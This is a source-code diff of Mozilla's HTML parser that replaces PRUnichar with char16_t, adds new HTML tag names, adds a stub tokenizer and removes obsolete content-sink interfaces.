-static const PRUnichar sHTMLTagUnicodeName_plaintext[] =
+static const char16_t sHTMLTagUnicodeName_picture[] =
+ {'p', 'i', 'c', 't', 'u', 'r', 'e', '\0'};
+static const char16_t sHTMLTagUnicodeName_plaintext[] =
{'p', 'l', 'a', 'i', 'n', 't', 'e', 'x', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_pre[] =
+static const char16_t sHTMLTagUnicodeName_pre[] =
{'p', 'r', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_progress[] =
+static const char16_t sHTMLTagUnicodeName_progress[] =
{'p', 'r', 'o', 'g', 'r', 'e', 's', 's', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_q[] =
+static const char16_t sHTMLTagUnicodeName_q[] =
{'q', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_s[] =
+static const char16_t sHTMLTagUnicodeName_rb[] =
+ {'r', 'b', '\0'};
+static const char16_t sHTMLTagUnicodeName_rp[] =
+ {'r', 'p', '\0'};
+static const char16_t sHTMLTagUnicodeName_rt[] =
+ {'r', 't', '\0'};
+static const char16_t sHTMLTagUnicodeName_rtc[] =
+ {'r', 't', 'c', '\0'};
+static const char16_t sHTMLTagUnicodeName_ruby[] =
+ {'r', 'u', 'b', 'y', '\0'};
+static const char16_t sHTMLTagUnicodeName_s[] =
{'s', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_samp[] =
+static const char16_t sHTMLTagUnicodeName_samp[] =
{'s', 'a', 'm', 'p', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_script[] =
+static const char16_t sHTMLTagUnicodeName_script[] =
{'s', 'c', 'r', 'i', 'p', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_section[] =
+static const char16_t sHTMLTagUnicodeName_section[] =
{'s', 'e', 'c', 't', 'i', 'o', 'n', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_select[] =
+static const char16_t sHTMLTagUnicodeName_select[] =
{'s', 'e', 'l', 'e', 'c', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_small[] =
+static const char16_t sHTMLTagUnicodeName_shadow[] =
+ {'s', 'h', 'a', 'd', 'o', 'w', '\0'};
+static const char16_t sHTMLTagUnicodeName_small[] =
{'s', 'm', 'a', 'l', 'l', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_source[] =
+static const char16_t sHTMLTagUnicodeName_source[] =
{'s', 'o', 'u', 'r', 'c', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_spacer[] =
- {'s', 'p', 'a', 'c', 'e', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_span[] =
+static const char16_t sHTMLTagUnicodeName_span[] =
{'s', 'p', 'a', 'n', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_strike[] =
+static const char16_t sHTMLTagUnicodeName_strike[] =
{'s', 't', 'r', 'i', 'k', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_strong[] =
+static const char16_t sHTMLTagUnicodeName_strong[] =
{'s', 't', 'r', 'o', 'n', 'g', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_style[] =
+static const char16_t sHTMLTagUnicodeName_style[] =
{'s', 't', 'y', 'l', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_sub[] =
+static const char16_t sHTMLTagUnicodeName_sub[] =
{'s', 'u', 'b', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_sup[] =
+static const char16_t sHTMLTagUnicodeName_sup[] =
{'s', 'u', 'p', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_table[] =
+static const char16_t sHTMLTagUnicodeName_table[] =
{'t', 'a', 'b', 'l', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_tbody[] =
+static const char16_t sHTMLTagUnicodeName_tbody[] =
{'t', 'b', 'o', 'd', 'y', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_td[] =
+static const char16_t sHTMLTagUnicodeName_td[] =
{'t', 'd', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_textarea[] =
+static const char16_t sHTMLTagUnicodeName_textarea[] =
{'t', 'e', 'x', 't', 'a', 'r', 'e', 'a', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_tfoot[] =
+static const char16_t sHTMLTagUnicodeName_tfoot[] =
{'t', 'f', 'o', 'o', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_th[] =
+static const char16_t sHTMLTagUnicodeName_th[] =
{'t', 'h', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_thead[] =
+static const char16_t sHTMLTagUnicodeName_thead[] =
{'t', 'h', 'e', 'a', 'd', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_template[] =
+static const char16_t sHTMLTagUnicodeName_template[] =
{'t', 'e', 'm', 'p', 'l', 'a', 't', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_time[] =
+static const char16_t sHTMLTagUnicodeName_time[] =
{'t', 'i', 'm', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_title[] =
+static const char16_t sHTMLTagUnicodeName_title[] =
{'t', 'i', 't', 'l', 'e', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_tr[] =
+static const char16_t sHTMLTagUnicodeName_tr[] =
{'t', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_track[] =
+static const char16_t sHTMLTagUnicodeName_track[] =
{'t', 'r', 'a', 'c', 'k', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_tt[] =
+static const char16_t sHTMLTagUnicodeName_tt[] =
{'t', 't', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_u[] =
+static const char16_t sHTMLTagUnicodeName_u[] =
{'u', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_ul[] =
+static const char16_t sHTMLTagUnicodeName_ul[] =
{'u', 'l', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_var[] =
+static const char16_t sHTMLTagUnicodeName_var[] =
{'v', 'a', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_video[] =
+static const char16_t sHTMLTagUnicodeName_video[] =
{'v', 'i', 'd', 'e', 'o', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_wbr[] =
+static const char16_t sHTMLTagUnicodeName_wbr[] =
{'w', 'b', 'r', '\0'};
-static const PRUnichar sHTMLTagUnicodeName_xmp[] =
+static const char16_t sHTMLTagUnicodeName_xmp[] =
{'x', 'm', 'p', '\0'};
// static array of unicode tag names
#define HTML_TAG(_tag, _classname) sHTMLTagUnicodeName_##_tag,
#define HTML_HTMLELEMENT_TAG(_tag) sHTMLTagUnicodeName_##_tag,
#define HTML_OTHER(_tag)
-const PRUnichar* const nsHTMLTags::sTagUnicodeTable[] = {
+const char16_t* const nsHTMLTags::sTagUnicodeTable[] = {
#include "nsHTMLTagList.h"
};
#undef HTML_TAG
@@ -295,18 +305,18 @@ PLHashTable* nsHTMLTags::gTagTable;
PLHashTable* nsHTMLTags::gTagAtomTable;
-// PRUnichar* -> id hash
+// char16_t* -> id hash
static PLHashNumber
HTMLTagsHashCodeUCPtr(const void *key)
{
- return HashString(static_cast<const PRUnichar*>(key));
+ return HashString(static_cast<const char16_t*>(key));
}
static int
HTMLTagsKeyCompareUCPtr(const void *key1, const void *key2)
{
- const PRUnichar *str1 = (const PRUnichar *)key1;
- const PRUnichar *str2 = (const PRUnichar *)key2;
+ const char16_t *str1 = (const char16_t *)key1;
+ const char16_t *str2 = (const char16_t *)key2;
return nsCRT::strcmp(str1, str2) == 0;
}
@@ -361,7 +371,7 @@ nsHTMLTags::AddRefTable(void)
nullptr, nullptr);
NS_ENSURE_TRUE(gTagAtomTable, NS_ERROR_OUT_OF_MEMORY);
- // Fill in gTagTable with the above static PRUnichar strings as
+ // Fill in gTagTable with the above static char16_t strings as
// keys and the value of the corresponding enum as the value in
// the table.
@@ -376,12 +386,12 @@ nsHTMLTags::AddRefTable(void)
-#if defined(DEBUG) && defined(NS_STATIC_ATOM_USE_WIDE_STRINGS)
+#if defined(DEBUG)
{
// let's verify that all names in the the table are lowercase...
for (i = 0; i < NS_HTML_TAG_MAX; ++i) {
- nsAutoString temp1((PRUnichar*)sTagAtoms_info[i].mStringBuffer->Data());
- nsAutoString temp2((PRUnichar*)sTagAtoms_info[i].mStringBuffer->Data());
+ nsAutoString temp1((char16_t*)sTagAtoms_info[i].mStringBuffer->Data());
+ nsAutoString temp2((char16_t*)sTagAtoms_info[i].mStringBuffer->Data());
ToLowerCase(temp1);
NS_ASSERTION(temp1.Equals(temp2), "upper case char in table");
}
@@ -390,7 +400,7 @@ nsHTMLTags::AddRefTable(void)
// correct.
for (i = 0; i < NS_HTML_TAG_MAX; ++i) {
nsAutoString temp1(sTagUnicodeTable[i]);
- nsAutoString temp2((PRUnichar*)sTagAtoms_info[i].mStringBuffer->Data());
+ nsAutoString temp2((char16_t*)sTagAtoms_info[i].mStringBuffer->Data());
NS_ASSERTION(temp1.Equals(temp2), "Bad unicode tag name!");
}
@@ -435,16 +445,16 @@ nsHTMLTags::LookupTag(const nsAString& aTagName)
return eHTMLTag_userdefined;
}
- PRUnichar buf[NS_HTMLTAG_NAME_MAX_LENGTH + 1];
+ char16_t buf[NS_HTMLTAG_NAME_MAX_LENGTH + 1];
nsAString::const_iterator iter;
uint32_t i = 0;
- PRUnichar c;
+ char16_t c;
aTagName.BeginReading(iter);
// Fast lowercasing-while-copying of ASCII characters into a
- // PRUnichar buffer
+ // char16_t buffer
while (i < length) {
c = *iter;
@@ -468,7 +478,7 @@ nsHTMLTags::LookupTag(const nsAString& aTagName)
void
nsHTMLTags::TestTagTable()
{
- const PRUnichar *tag;
+ const char16_t *tag;
nsHTMLTag id;
nsCOMPtr<nsIAtom> atom;
@@ -478,7 +488,7 @@ nsHTMLTags::TestTagTable()
tag = sTagUnicodeTable[i];
id = LookupTag(nsDependentString(tag));
NS_ASSERTION(id != eHTMLTag_userdefined, "can't find tag id");
- const PRUnichar* check = GetStringValue(id);
+ const char16_t* check = GetStringValue(id);
NS_ASSERTION(0 == nsCRT::strcmp(check, tag), "can't map id back to tag");
nsAutoString uname(tag);
diff --git a/parser/htmlparser/public/nsHTMLTags.h b/parser/htmlparser/nsHTMLTags.h
index 00189ab4c..748ce77e6 100644
--- a/parser/htmlparser/public/nsHTMLTags.h
+++ b/parser/htmlparser/nsHTMLTags.h
@@ -6,7 +6,7 @@
#ifndef nsHTMLTags_h___
#define nsHTMLTags_h___
-#include "nsStringGlue.h"
+#include "nsString.h"
#include "plhash.h"
class nsIAtom;
@@ -44,7 +44,7 @@ public:
// Functions for converting string or atom to id
static nsHTMLTag LookupTag(const nsAString& aTagName);
- static nsHTMLTag CaseSensitiveLookupTag(const PRUnichar* aTagName)
+ static nsHTMLTag CaseSensitiveLookupTag(const char16_t* aTagName)
{
NS_ASSERTION(gTagTable, "no lookup table, needs addref");
NS_ASSERTION(aTagName, "null tagname!");
@@ -64,7 +64,7 @@ public:
}
// Functions for converting an id to a string or atom
- static const PRUnichar *GetStringValue(nsHTMLTag aEnum)
+ static const char16_t *GetStringValue(nsHTMLTag aEnum)
{
return aEnum <= eHTMLTag_unknown || aEnum > NS_HTML_TAG_MAX ?
nullptr : sTagUnicodeTable[aEnum - 1];
@@ -81,7 +81,7 @@ public:
private:
static nsIAtom* sTagAtomTable[eHTMLTag_userdefined - 1];
- static const PRUnichar* const sTagUnicodeTable[];
+ static const char16_t* const sTagUnicodeTable[];
static int32_t gTableRefCount;
static PLHashTable* gTagTable;
diff --git a/parser/htmlparser/nsHTMLTokenizer.cpp b/parser/htmlparser/nsHTMLTokenizer.cpp
new file mode 100644
index 000000000..f60a48c3c
--- /dev/null
+++ b/parser/htmlparser/nsHTMLTokenizer.cpp
@@ -0,0 +1,60 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* vim: set sw=2 ts=2 et tw=78: */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * @file nsHTMLTokenizer.cpp
+ * This is an implementation of the nsITokenizer interface.
+ * This file contains the implementation of a tokenizer to tokenize an HTML
+ * document. It attempts to do so, making tradeoffs between compatibility with
+ * older parsers and the SGML specification. Note that most of the real
+ * "tokenization" takes place in nsHTMLTokens.cpp.
+ */
+
+#include "nsHTMLTokenizer.h"
+#include "nsIParser.h"
+#include "nsParserConstants.h"
+
+/************************************************************************
+ And now for the main class -- nsHTMLTokenizer...
+ ************************************************************************/
+
+/**
+ * Satisfy the nsISupports interface.
+ */
+NS_IMPL_ISUPPORTS(nsHTMLTokenizer, nsITokenizer)
+
+/**
+ * Default constructor
+ */
+nsHTMLTokenizer::nsHTMLTokenizer()
+{
+ // TODO Assert about:blank-ness.
+}
+
+nsresult
+nsHTMLTokenizer::WillTokenize(bool aIsFinalChunk)
+{
+ return NS_OK;
+}
+
+/**
+ * This method is repeatedly called by the tokenizer.
+ * Each time, we determine the kind of token we're about to
+ * read, and then we call the appropriate method to handle
+ * that token type.
+ *
+ * @param aScanner The source of our input.
+ * @param aFlushTokens An OUT parameter to tell the caller whether it should
+ * process our queued tokens up to now (e.g., when we
+ * reach a <script>).
+ * @return Success or error
+ */
+nsresult
+nsHTMLTokenizer::ConsumeToken(nsScanner& aScanner, bool& aFlushTokens)
+{
+ return kEOF;
+}
diff --git a/parser/htmlparser/nsHTMLTokenizer.h b/parser/htmlparser/nsHTMLTokenizer.h
new file mode 100644
index 000000000..0d2940c5e
--- /dev/null
+++ b/parser/htmlparser/nsHTMLTokenizer.h
@@ -0,0 +1,35 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * MODULE NOTES:
+ * @update gess 4/1/98
+ *
+ */
+
+#ifndef __NSHTMLTOKENIZER
+#define __NSHTMLTOKENIZER
+
+#include "mozilla/Attributes.h"
+#include "nsISupports.h"
+#include "nsITokenizer.h"
+
+#ifdef _MSC_VER
+#pragma warning( disable : 4275 )
+#endif
+
+class nsHTMLTokenizer final : public nsITokenizer {
+ ~nsHTMLTokenizer() {}
+
+public:
+ NS_DECL_ISUPPORTS
+ NS_DECL_NSITOKENIZER
+ nsHTMLTokenizer();
+};
+
+#endif
+
+
diff --git a/parser/htmlparser/public/nsIContentSink.h b/parser/htmlparser/nsIContentSink.h
index 1c5491a19..56c70a1b4 100644
--- a/parser/htmlparser/public/nsIContentSink.h
+++ b/parser/htmlparser/nsIContentSink.h
@@ -17,7 +17,7 @@
* about more, which is the IHTMLContentSink interface. (See that file for details).
*/
#include "nsISupports.h"
-#include "nsStringGlue.h"
+#include "nsString.h"
#include "mozFlushType.h"
#include "nsIDTD.h"
diff --git a/parser/htmlparser/public/nsIDTD.h b/parser/htmlparser/nsIDTD.h
index 002ad9d8c..628c5378c 100644
--- a/parser/htmlparser/public/nsIDTD.h
+++ b/parser/htmlparser/nsIDTD.h
@@ -22,7 +22,7 @@
* */
#include "nsISupports.h"
-#include "nsStringGlue.h"
+#include "nsString.h"
#include "nsITokenizer.h"
#define NS_IDTD_IID \
@@ -47,7 +47,6 @@ enum nsDTDMode {
class nsIParser;
-class CToken;
class nsIURI;
class nsIContentSink;
class CParserContext;
@@ -81,9 +80,7 @@ public:
* that the DTD should use (pointer in case the DTD
* opts to ignore this parameter)
*/
- NS_IMETHOD BuildModel(nsITokenizer* aTokenizer,
- bool aCountLines,
- const nsCString* aCharsetPtr) = 0;
+ NS_IMETHOD BuildModel(nsITokenizer* aTokenizer, nsIContentSink* aSink) = 0;
/**
* This method is called to determine whether or not a tag of one
@@ -130,12 +127,12 @@ public:
NS_DEFINE_STATIC_IID_ACCESSOR(nsIDTD, NS_IDTD_IID)
#define NS_DECL_NSIDTD \
- NS_IMETHOD WillBuildModel( const CParserContext& aParserContext, nsITokenizer* aTokenizer, nsIContentSink* aSink);\
- NS_IMETHOD DidBuildModel(nsresult anErrorCode);\
- NS_IMETHOD BuildModel(nsITokenizer* aTokenizer, bool aCountLines, const nsCString* aCharsetPtr);\
- NS_IMETHOD_(bool) CanContain(int32_t aParent,int32_t aChild) const;\
- NS_IMETHOD_(bool) IsContainer(int32_t aTag) const;\
- NS_IMETHOD_(void) Terminate();\
- NS_IMETHOD_(int32_t) GetType();\
- NS_IMETHOD_(nsDTDMode) GetMode() const;
+ NS_IMETHOD WillBuildModel( const CParserContext& aParserContext, nsITokenizer* aTokenizer, nsIContentSink* aSink) override;\
+ NS_IMETHOD DidBuildModel(nsresult anErrorCode) override;\
+ NS_IMETHOD BuildModel(nsITokenizer* aTokenizer, nsIContentSink* aSink) override;\
+ NS_IMETHOD_(bool) CanContain(int32_t aParent,int32_t aChild) const override;\
+ NS_IMETHOD_(bool) IsContainer(int32_t aTag) const override;\
+ NS_IMETHOD_(void) Terminate() override;\
+ NS_IMETHOD_(int32_t) GetType() override;\
+ NS_IMETHOD_(nsDTDMode) GetMode() const override;
#endif /* nsIDTD_h___ */
diff --git a/parser/htmlparser/public/nsIExpatSink.idl b/parser/htmlparser/nsIExpatSink.idl
index 74bc9c33d..df0b2d869 100644
--- a/parser/htmlparser/public/nsIExpatSink.idl
+++ b/parser/htmlparser/nsIExpatSink.idl
@@ -12,7 +12,7 @@ interface nsIScriptError;
* by any sink that handles some sort of XML dialect.
*/
-[scriptable, uuid(f61c56b5-ea5b-42b4-ad3c-17416e72e238)]
+[scriptable, uuid(01f681af-0f22-4725-a914-0d396114daf0)]
interface nsIExpatSink : nsISupports
{
/**
@@ -27,15 +27,11 @@ interface nsIExpatSink : nsISupports
* and attributes that are defined to have default values in a DTD are
* present in aAtts.
* @param aAttsCount the number of elements in aAtts.
- * @param aIndex If the element has an attribute of type ID, then
- * aAtts[aIndex] is the name of that attribute. Otherwise, aIndex
- * is -1
* @param aLineNumber the line number of the start tag in the data stream.
*/
void HandleStartElement(in wstring aName,
[array, size_is(aAttsCount)] in wstring aAtts,
in unsigned long aAttsCount,
- in long aIndex,
in unsigned long aLineNumber);
/**
diff --git a/parser/htmlparser/public/nsIExtendedExpatSink.idl b/parser/htmlparser/nsIExtendedExpatSink.idl
index e05861ee1..d88f0d974 100644
--- a/parser/htmlparser/public/nsIExtendedExpatSink.idl
+++ b/parser/htmlparser/nsIExtendedExpatSink.idl
@@ -8,7 +8,7 @@
/**
* This interface provides notification of syntax-level events.
*/
-[scriptable, uuid(146E194B-333D-4283-8CF6-4BC3EE9B5DFF)]
+[scriptable, uuid(5e3e4f0c-7b77-47ca-a7c5-a3d87f2a9c82)]
interface nsIExtendedExpatSink : nsIExpatSink
{
/**
diff --git a/parser/htmlparser/public/nsIFragmentContentSink.h b/parser/htmlparser/nsIFragmentContentSink.h
index c191af242..8d547ed66 100644
--- a/parser/htmlparser/public/nsIFragmentContentSink.h
+++ b/parser/htmlparser/nsIFragmentContentSink.h
@@ -71,25 +71,6 @@ public:
NS_DEFINE_STATIC_IID_ACCESSOR(nsIFragmentContentSink,
NS_I_FRAGMENT_CONTENT_SINK_IID)
-/**
- * This interface is implemented by paranoid content sinks, and allows consumers
- * to add tags and attributes to the default white-list set.
- */
-class nsIParanoidFragmentContentSink : public nsISupports {
-public:
- NS_DECLARE_STATIC_IID_ACCESSOR(NS_I_PARANOID_FRAGMENT_CONTENT_SINK_IID)
-
- /**
- * Allow the content sink to accept style elements and attributes.
- */
- virtual void AllowStyles() = 0;
-
- /**
- * Allow the content sink to accept comments.
- */
- virtual void AllowComments() = 0;
-};
-
nsresult
NS_NewXMLFragmentContentSink(nsIFragmentContentSink** aInstancePtrResult);
diff --git a/parser/htmlparser/public/nsIHTMLContentSink.h b/parser/htmlparser/nsIHTMLContentSink.h
index a29b84522..bf08c4b5e 100644
--- a/parser/htmlparser/public/nsIHTMLContentSink.h
+++ b/parser/htmlparser/nsIHTMLContentSink.h
@@ -49,13 +49,11 @@
* NOTE: I haven't figured out how sub-documents (non-frames)
* are going to be handled. Stay tuned.
*/
-#include "nsIParserNode.h"
#include "nsIContentSink.h"
#include "nsHTMLTags.h"
#define NS_IHTML_CONTENT_SINK_IID \
-{ 0xb6d6ae00, 0x0884, 0x4a30, \
- { 0xa8, 0xb4, 0xce, 0xca, 0x57, 0x27, 0x1a, 0x3e } }
+ {0xefc5af86, 0x5cfd, 0x4918, {0x9d, 0xd3, 0x5f, 0x7a, 0xb2, 0x88, 0xb2, 0x68}}
/**
* This interface is OBSOLETE and in the process of being REMOVED.
@@ -67,66 +65,14 @@ public:
NS_DECLARE_STATIC_IID_ACCESSOR(NS_IHTML_CONTENT_SINK_IID)
- /**
- * This method is used to open the HEAD container. It is useful if a tag
- * is forcing us to open the head (probably again), like if we find a <meta>
- * tag in the body.
- */
- NS_IMETHOD OpenHead() = 0;
-
- /**
- * This gets called when handling illegal contents, especially
- * in dealing with tables. This method creates a new context.
- *
- * @update 04/04/99 harishd
- * @param aPosition - The position from where the new context begins.
- */
- NS_IMETHOD BeginContext(int32_t aPosition) = 0;
-
- /**
- * This method terminates any new context that got created by
- * BeginContext and switches back to the main context.
- *
- * @update 04/04/99 harishd
- * @param aPosition - Validates the end of a context.
- */
- NS_IMETHOD EndContext(int32_t aPosition) = 0;
-
- /**
- * @update 01/09/2003 harishd
- * @param aTag - Check if this tag is enabled or not.
- */
- NS_IMETHOD IsEnabled(int32_t aTag, bool* aReturn) = 0;
-
- /**
- * This method is called when parser has
- * completed processing a chunk of tokens. The processing of the
- * tokens may be interrupted by returning NS_ERROR_HTMLPARSER_INTERRUPTED from
- * DidProcessAToken.
- */
- NS_IMETHOD DidProcessTokens() = 0;
-
- /**
- * This method is called when parser is about to
- * process a single token
- */
- NS_IMETHOD WillProcessAToken(void) = 0;
-
- /**
- * This method is called when parser has completed
- * the processing for a single token.
- * @return NS_OK if processing should not be interrupted
- * NS_ERROR_HTMLPARSER_INTERRUPTED if the parsing should be interrupted
- */
- NS_IMETHOD DidProcessAToken(void) = 0;
+ enum ElementType { eHTML, eBody };
/**
* This method is used to open a generic container in the sink.
*
* @update 4/1/98 gess
- * @param nsIParserNode reference to parser node interface
*/
- NS_IMETHOD OpenContainer(const nsIParserNode& aNode) = 0;
+ NS_IMETHOD OpenContainer(ElementType aNodeType) = 0;
/**
* This method gets called by the parser when a close
@@ -134,29 +80,7 @@ public:
*
* @param aTag - The tag to be closed.
*/
- NS_IMETHOD CloseContainer(const nsHTMLTag aTag) = 0;
-
- /**
- * This method is used when we're closing a tag that was malformed
- * in some way. This way, the content sink can do special processing
- * (e.g., not execute a malformed script tag).
- *
- * @param aTag The tag to be closed.
- */
- NS_IMETHOD CloseMalformedContainer(const nsHTMLTag aTag)
- {
- return CloseContainer(aTag);
- }
-
- /**
- * This gets called by the parser when you want to add
- * a leaf node to the current container in the content
- * model.
- *
- * @update 4/1/98 gess
- * @param nsIParserNode reference to parser node interface
- */
- NS_IMETHOD AddLeaf(const nsIParserNode& aNode) = 0;
+ NS_IMETHOD CloseContainer(ElementType aTag) = 0;
};
NS_DEFINE_STATIC_IID_ACCESSOR(nsIHTMLContentSink, NS_IHTML_CONTENT_SINK_IID)
diff --git a/parser/htmlparser/public/nsIParser.h b/parser/htmlparser/nsIParser.h
index a2fa3a147..6345eb511 100644
--- a/parser/htmlparser/public/nsIParser.h
+++ b/parser/htmlparser/nsIParser.h
@@ -8,7 +8,7 @@
/**
- * This GOANNA-INTERNAL interface is on track to being REMOVED (or refactored
+ * This GECKO-INTERNAL interface is on track to being REMOVED (or refactored
* to the point of being near-unrecognizable).
*
* Please DO NOT #include this file in comm-central code, in your XULRunner
@@ -21,7 +21,7 @@
#include "nsISupports.h"
#include "nsIStreamListener.h"
#include "nsIDTD.h"
-#include "nsStringGlue.h"
+#include "nsString.h"
#include "nsTArray.h"
#include "nsIAtom.h"
#include "nsParserBase.h"
@@ -58,25 +58,8 @@ enum eParserDocType {
enum eStreamState {eNone,eOnStart,eOnDataAvail,eOnStop};
-/**
- * FOR DEBUG PURPOSE ONLY
- *
- * Use this interface to query objects that contain content information.
- * Ex. Parser can trigger dump content by querying the sink that has
- * access to the content.
- *
- * @update harishd 05/25/00
- */
-class nsIDebugDumpContent : public nsISupports {
-public:
- NS_DECLARE_STATIC_IID_ACCESSOR(NS_IDEBUG_DUMP_CONTENT_IID)
- NS_IMETHOD DumpContentModel()=0;
-};
-
-NS_DEFINE_STATIC_IID_ACCESSOR(nsIDebugDumpContent, NS_IDEBUG_DUMP_CONTENT_IID)
-
/**
- * This GOANNA-INTERNAL interface is on track to being REMOVED (or refactored
+ * This GECKO-INTERNAL interface is on track to being REMOVED (or refactored
* to the point of being near-unrecognizable).
*
* Please DO NOT #include this file in comm-central code, in your XULRunner
@@ -137,7 +120,7 @@ class nsIParser : public nsParserBase {
* @param aChannel out param that will contain the result
* @return NS_OK if successful
*/
- NS_IMETHOD GetChannel(nsIChannel** aChannel) = 0;
+ NS_IMETHOD GetChannel(nsIChannel** aChannel) override = 0;
/**
* Get the DTD associated with this parser
@@ -180,7 +163,7 @@ class nsIParser : public nsParserBase {
*/
NS_IMETHOD_(void) ContinueInterruptedParsingAsync() = 0;
- NS_IMETHOD_(bool) IsParserEnabled() = 0;
+ NS_IMETHOD_(bool) IsParserEnabled() override = 0;
NS_IMETHOD_(bool) IsComplete() = 0;
NS_IMETHOD Parse(nsIURI* aURL,
diff --git a/parser/htmlparser/public/nsIParserService.h b/parser/htmlparser/nsIParserService.h
index 18c0b309b..2906974e9 100644
--- a/parser/htmlparser/public/nsIParserService.h
+++ b/parser/htmlparser/nsIParserService.h
@@ -7,12 +7,10 @@
#define nsIParserService_h__
#include "nsISupports.h"
-#include "nsStringGlue.h"
+#include "nsString.h"
#include "nsHTMLTags.h"
-#include "nsIElementObserver.h"
class nsIParser;
-class nsIParserNode;
#define NS_PARSERSERVICE_CONTRACTID "@mozilla.org/parser/parser-service;1"
@@ -65,12 +63,12 @@ class nsIParserService : public nsISupports {
*
* @param aId The nsHTMLTag enum value to get the tag for.
*
- * @return const PRUnichar* The tag corresponding to the nsHTMLTag enum
+ * @return const char16_t* The tag corresponding to the nsHTMLTag enum
* value, or nullptr if the enum value doesn't
* correspond to a tag (eHTMLTag_unknown,
* eHTMLTag_userdefined, eHTMLTag_text, ...).
*/
- virtual const PRUnichar *HTMLIdToStringTag(int32_t aId) const = 0;
+ virtual const char16_t *HTMLIdToStringTag(int32_t aId) const = 0;
/**
* Gets the tag corresponding to the nsHTMLTag enum value in aId. The
diff --git a/parser/htmlparser/nsITokenizer.h b/parser/htmlparser/nsITokenizer.h
new file mode 100644
index 000000000..2ed09d410
--- /dev/null
+++ b/parser/htmlparser/nsITokenizer.h
@@ -0,0 +1,44 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * MODULE NOTES:
+ * @update gess 4/1/98
+ *
+ */
+
+#ifndef __NSITOKENIZER__
+#define __NSITOKENIZER__
+
+#include "nsISupports.h"
+
+class nsScanner;
+
+#define NS_ITOKENIZER_IID \
+{ 0Xae98a348, 0X5e91, 0X41a8, \
+ { 0Xa5, 0Xb4, 0Xd2, 0X20, 0Xf3, 0X1f, 0Xc4, 0Xab } }
+
+/***************************************************************
+ Notes:
+ ***************************************************************/
+
+
+class nsITokenizer : public nsISupports {
+public:
+ NS_DECLARE_STATIC_IID_ACCESSOR(NS_ITOKENIZER_IID)
+
+ NS_IMETHOD WillTokenize(bool aIsFinalChunk)=0;
+ NS_IMETHOD ConsumeToken(nsScanner& aScanner,bool& aFlushTokens)=0;
+};
+
+NS_DEFINE_STATIC_IID_ACCESSOR(nsITokenizer, NS_ITOKENIZER_IID)
+
+#define NS_DECL_NSITOKENIZER \
+ NS_IMETHOD WillTokenize(bool aIsFinalChunk) override;\
+ NS_IMETHOD ConsumeToken(nsScanner& aScanner,bool& aFlushTokens) override;\
+
+
+#endif
diff --git a/parser/htmlparser/src/nsParser.cpp b/parser/htmlparser/nsParser.cpp
index f903c6e87..788bfa25e 100644
--- a/parser/htmlparser/src/nsParser.cpp
+++ b/parser/htmlparser/nsParser.cpp
@@ -13,8 +13,6 @@
#include "nsIStringStream.h"
#include "nsIChannel.h"
#include "nsICachingChannel.h"
-#include "nsICacheEntryDescriptor.h"
-#include "nsICharsetConverterManager.h"
#include "nsIInputStream.h"
#include "CNavDTD.h"
#include "prenv.h"
@@ -40,8 +38,11 @@
#include "nsParserConstants.h"
#include "nsCharsetSource.h"
#include "nsContentUtils.h"
+#include "nsThreadUtils.h"
+#include "nsIHTMLContentSink.h"
#include "mozilla/dom/EncodingUtils.h"
+#include "mozilla/BinarySearch.h"
using namespace mozilla;
using mozilla::dom::EncodingUtils;
@@ -52,10 +53,6 @@ using mozilla::dom::EncodingUtils;
#define NS_PARSER_FLAG_FLUSH_TOKENS 0x00000020
#define NS_PARSER_FLAG_CAN_TOKENIZE 0x00000040
-static NS_DEFINE_IID(kISupportsIID, NS_ISUPPORTS_IID);
-static NS_DEFINE_CID(kCParserCID, NS_PARSER_CID);
-static NS_DEFINE_IID(kIParserIID, NS_IPARSER_IID);
-
//-------------- Begin ParseContinue Event Definition ------------------------
/*
The parser can be explicitly interrupted by passing a return value of
@@ -117,7 +114,7 @@ class nsParserContinueEvent : public nsRunnable
public:
nsRefPtr<nsParser> mParser;
